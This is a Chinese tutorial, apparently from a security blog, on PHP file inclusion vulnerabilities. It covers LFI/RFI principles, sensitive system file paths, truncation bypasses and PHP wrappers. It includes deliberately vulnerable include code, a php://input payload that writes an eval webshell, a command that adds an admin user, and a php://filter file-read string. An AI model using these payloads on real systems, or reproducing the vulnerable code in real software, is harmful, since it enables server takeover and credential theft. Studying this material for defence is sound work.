文件包含漏洞

​ 开发人员一般会把重复使用的函数写道单个文件中、需要使用某个函数时直接调用此文件,而无需再次编写,这种文件调用的过程一般被称为文件包含。

原理

​ 文件包含函数加载的参数没有经过过滤或者严格的定义,可以被用户控制,包含其他恶意文件,导致了执行非预期的代码。从而导致客户端可以调用一个恶意文件,造成文件包含漏洞。

1
2
3
4
5
6
7
<?php
if($_GET[page]){
include $_GET[page];
} else{
include "home.php";
}
?>

常用函数

  • require()

    只要程序一运行就包含文件,找不到被包含的文件时会产生致命错误,并停止脚本。

  • require_once()

  • include()

    执行到include时才包含文件,找不到被包含文件时只会产生警告,脚本将继续执行。

  • include_once()

条件

  • 程序用include()等文件包含函数通过动态变量的范式引入需要包含的文件
  • 用户能够控制该动态变量
  • php.ini配置文件:allow_url_fopenallow_url_includeOn

注意

  • php中只要文件内容符合php语法规范,包含时不管扩展名是什么都会被php解析
  • 若文件内容不符合php语法规范则会暴露其源码
  • php.ini配置文件只有开启了allow_url_fopen才可以包含文件

分类

  • 本地包含
    1. 可以包含本地文件,在条件允许时甚至能执行代码
    2. 读敏感文件,读php文件
    3. 包含日志文件GetShell
    4. 包含data:或php://input等伪协议
    5. 若有phpinfo则可以包含临时文件
    6. 配合上传图片马,然后包含从而GetShell
  • 远程文件包含
    • 包含远程的木马或病毒文件,从而GetShell

案例

1
2
3
4
5
#index.php
<?php
$filename=$_GET['page'];
include($filename);
?>
1
2
#LFI.php
<?php echo "本地文件包含"?>
1
2
3
4
#info.php
<?php
phpinfo();
?>

本地文件包含的过程

  1. 首先让page=LFI.php文件
  2. page的值传给遍历filename
  3. include包含这个变量
  4. 网页便包含了这个文件

常见敏感文件

windows

  • c:/windows/system32/inetsrv/MetaBase.xml //IIS配置文件
  • c:/windows/repair/sam //存储系统初次安装的密码
  • c:/ProgramFiles/mysql/my.ini //MySQL配置
  • c:/ProgramFile/mysql/data/mysql/user.MYD //MySQL root
  • c:/windows/php.ini //php配置信息
  • c:/windows/my.ini

linux

  • /etc/passwd //账户信息
  • /etc/shadow //账户密码文件
  • /usr/local/app/apache2/conf/httpd.conf //apache2默认配置文件
  • /etc/httpd/conf/httpd.conf
  • /usr/local/app/apache2/conf/extra/httpd-vhost.conf //虚拟网站配置
  • /usr/local/app/php5/lib/php.ini //php相关配置
  • /etc/my.conf //MySQL配置文件

绕过

1
2
3
4
<?php
$filename = $_GET['page'];
include($filename.".html");
?>

%00截断

php的00截断是5.2x版本的一个漏洞,当用户输入的url参数包含%00经过浏览器自动转码后截断后面字符。

条件

  • allow_url_fopen=on
  • magic_quotes_gpc=off
  • php版本<5.3.4

…………*n绕过(点号截断)

原理

windows下目录最大长度为256字节,超出部分会被丢弃

Linux下目录最大长度为4096字节,超出部分会被丢弃。

所以用………绕过的时候windows系统中,点号需要长于256,Linux系统中点号要长于4096.

长路径截断

条件

windows系统下,目录最大长度为256字节,超出的部分会被丢弃,路径需要长于256字节

Linux系统下需要4096.

文件包含php封装协议

封装:

封装是php面向对象的其中一个特性,将多个可重复使用的函数封装到一个类里面。在使用时直接实例化该类的某一个方法,获得需要的数据。

php带有很多内置URL风格的封装协议,可用于类似fopen()、copy()、file_exists()和filesize()的文件系统函数。除了这些封装协议,还能通过stream_wrapper_register()来注册自定义的封装协议。

协议类型

  1. file:// 访问本地文件系统
  2. http:// 访问http(s)网址
  3. ftp:// 访问FTP(s) URLs
  4. php:// 访问各个输入输出流
  5. ssh2:// Secure Sehll 2
  6. rar:// rar
  7. zlib:// 压缩流
  8. data:// 数据(RFC 2397)
  9. glob:// 查找匹配的文件路径模式
  10. phar:// php归档
  11. ogg:// 音频流
  12. expect:// 处理交互式的流

开启文件包含功能的条件

  • /etc/php.ini

    • allow_url_fopen: on(默认开启)
    • allow_url_include: on(默认关闭)
  • php://协议

    • php://stdin 只读协议
    • php://stderr只写协议
  • php://input协议

    • 利用文件包含漏洞的时候经常会碰到file_get_contents()函数,这个函数的作用是把整个文件读入一个字符串中

    • 用法

      1
      2
      3
      <?php
      echo file_get_contents("php://input");
      ?>
  • fopen()函数

    • php://input 只能够获取POST参数中的数据,而真正能够创建文件和把数据写入文件的函数时fopen()函数和fputs()函数

    • fopen()函数时用来打开文件,如果打开失败则返回false

    • 语法:fopen(filename,mode,include_path,context)

      参数 描述
      filename 必需,规定打开的文件url
      mode 必需,规定要求到该文件/流的访问类型,可能的值见下表
      include_path 可选,如果也需要在include_path中检索文件的话,可以将该参数设为1或true
      context 可选,规定文件句柄的环境,context是可以修改流的行为的一套选项

      fopen()将filename指定的名字资源绑定到一个流上。如果filename是”scheme://…”的格式,则被当成是一个URL,php将搜索协议处理器来处理此模式。如果该协议尚未注册封装协议,php将发出一条消息来帮助检查脚本中潜在的问题并将filename当成一个普通的文件名执行下去。

      ​ 如果php认为filename指定的是一个本地文件,将尝试在该文件上打开一个流。该文件必须是php可以访问的,因此需要确认文件访问权限允许该访问,如果激活了安全模式或者open_basedir则会应用进一步的限制。

      ​ 如果php认为filename指定的是一个已注册的协议,而该协议被注册为一个网络URL,php将检查并确认allow_url_fopen已被激活.如果关闭了,php将发出一个警告,而fopen的调用则失败。

      例如:fopen(“abc.php”,”w”)

      以写入的方式打开一个”ak.txt”文件,如果没有此文件便创建一个。

    • fputs()

      • fputs()函数的作用是写入文件(课安全的用于二进制文件),它是fwrite()函数的别名。

      • 语法:fputs(file,string,length)

        参数 描述
        file 必需,规定要写入的打开文件
        string 必需,规定要吸入文件的字符串
        length 可选,规定要写入的最大字节数
      1
      2
      3
      4
      5
      <?php
      $file = fopen("shell.php","w");
      echo fputs($file,"Hello World!!!");
      fclose($file);
      ?>
    • php://input 搭配fputs()写入文件

      • ?page=php://input

      • bp抓包,再写入post参数

        1
        2
        <?php fupts(fopen('any.txt',"w"),'hello any');
        ?>;
      • 写入一句话木马

        1
        2
        3
        ```php
        <?php fputs(fopen("shell.php","w"),"<?php @eval($_POST[1]);?>");
        ?>
      • 执行命令

        1
        <?php system("net user admin admin /add");?>
    • php://filter

      • 最常用的一个伪协议,一般用来进行任意文件读取
      • 用法:?filename=php://filter/convert.base64-encode/resource=xxx.php
      • 使用条件:只是读取,需要开启allow_url_fopen,不需要开启allow_url_include;

      php://filter目标使用以下的参数作为它路径的一部分;

      复合过滤链能够再一个路径上指定,详细使用这些参数可以参考具体范例。

      名称 描述
      resource=<要过滤的数据流> 指定流你要筛选过滤的数据流
      read=<读链的筛选列表> 可以设定一个或多个过滤器名称,管道符||分隔
      write=<写链的筛选列表> 可以设定一个或多个过滤器名称,管道符||分隔
      <;两个链的筛选列表> 任何没有以read=或write=作前缀的筛选器列表会视情况应用于读或写链